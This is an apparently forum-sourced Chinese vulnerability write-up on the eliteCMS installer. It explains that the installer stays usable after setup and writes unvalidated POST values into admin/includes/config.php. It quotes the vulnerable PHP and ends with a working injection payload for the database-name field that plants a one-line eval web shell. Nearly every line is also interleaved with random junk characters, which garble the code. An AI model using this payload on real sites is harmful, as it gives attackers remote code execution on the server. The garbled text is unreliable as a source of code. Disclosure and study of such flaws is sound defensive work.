eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装$ D. Z: y4 f4 ^% E5 H' h2 f
. Z! X0 G3 H0 G4 f% R3 K1 `: L
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
2 b8 H& F! }& U8 U我们来看代码:7 c; `. l5 B9 N6 P1 D: E' ~2 q
2 H7 b* z1 j J3 h2 y
...% X# k$ f3 ^' y9 V
elseif ($_GET['step'] == "4") {
( h2 b+ r& M, }& _$ N $file = "../admin/includes/config.php";
2 x4 N' J* V: M f. P9 h: J $write = "<?php\n"; W6 y" B9 i( P* P
$write .= "/**\n";3 K0 a* a! Z* o) o, f
$write .= "*\n";
, C! R; w/ W* r+ U, T$ Z/ ] $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
( }' j4 i+ U: H+ h1 y...略...
# g6 ~. G* P0 U+ _. Z/ W. w $write .= "*\n";7 G: |* F) P0 F3 F
$write .= "*/\n";
$ v& Y, D! Q9 W/ j $write .= "\n";$ s' J% Q: k: B+ @3 g0 w# g- I
$write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";0 d X5 f' R4 i% c# W
$write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";$ w" y; r0 G, s
$write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";, |3 T* L7 N, R0 u' K% q9 E
$write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
+ B" w6 a5 D# ? $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";5 D$ n; X) S! Q8 A9 d4 ~; U
$write .= "if (!\$connection) {\n";( J1 C+ ?2 T: e' t5 p V
$write .= " die(\"Database connection failed\" .mysql_error());\n";
' g2 F$ k7 z! F' O3 R' I $write .= " \n";
9 _$ X" m4 y* J$ q3 | $write .= "} \n";
; X7 p, v0 ^8 q$ a& u0 ] $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
: Z; u/ Q) v( G, G $write .= "if (!\$db_select) {\n";" E' l4 J o W, p. {) R2 c
$write .= " die(\"Database select failed\" .mysql_error());\n";
$ B5 J3 O7 a1 ^) M $write .= " \n";
$ N# H4 z* b7 q3 J# i $write .= "} \n";
/ I- z! S8 Y" C; n" \# } $write .= "?>\n";! T. \) W) {, k5 S/ Y9 L( B: D4 D
: t3 l- S* I3 }+ {# I. x8 \
$writer = fopen($file, 'w');) V& v5 I* h* j8 ~
...& _, Q1 u' a& A5 J O
% l( q! {% r6 ]* G8 ^# f在看代码:/ ~1 `+ t5 Z! {+ ~9 \, P
6 n) m( A- O! g. @$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];- \! V$ n/ |9 ^# l" y0 _+ T
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
) e" H$ n, I6 L% F$_SESSION['DB_USER'] = $_POST['DB_USER'];
; E4 L7 t/ p9 I6 p! `8 P0 m0 P+ ~$_SESSION['DB_PASS'] = $_POST['DB_PASS'];) r, G- K+ x; h3 L5 }9 w- u) ~
& W8 D& s$ C+ g6 ^取值未作任何验证
5 f# g$ _$ Y% {- m2 s如果将数据库名POST数据:
1 X) a; T+ |, H- s9 } ' Z. c3 b: n. E0 t4 s, S6 h
"?><?php eval($_POST[c]);?><?php1 N& g' r; o$ W ^8 [, @
+ v, V* X) e' d. \4 y5 _
将导致一句话后门写入/admin/includes/config.php/ ]" l) c+ \; v
|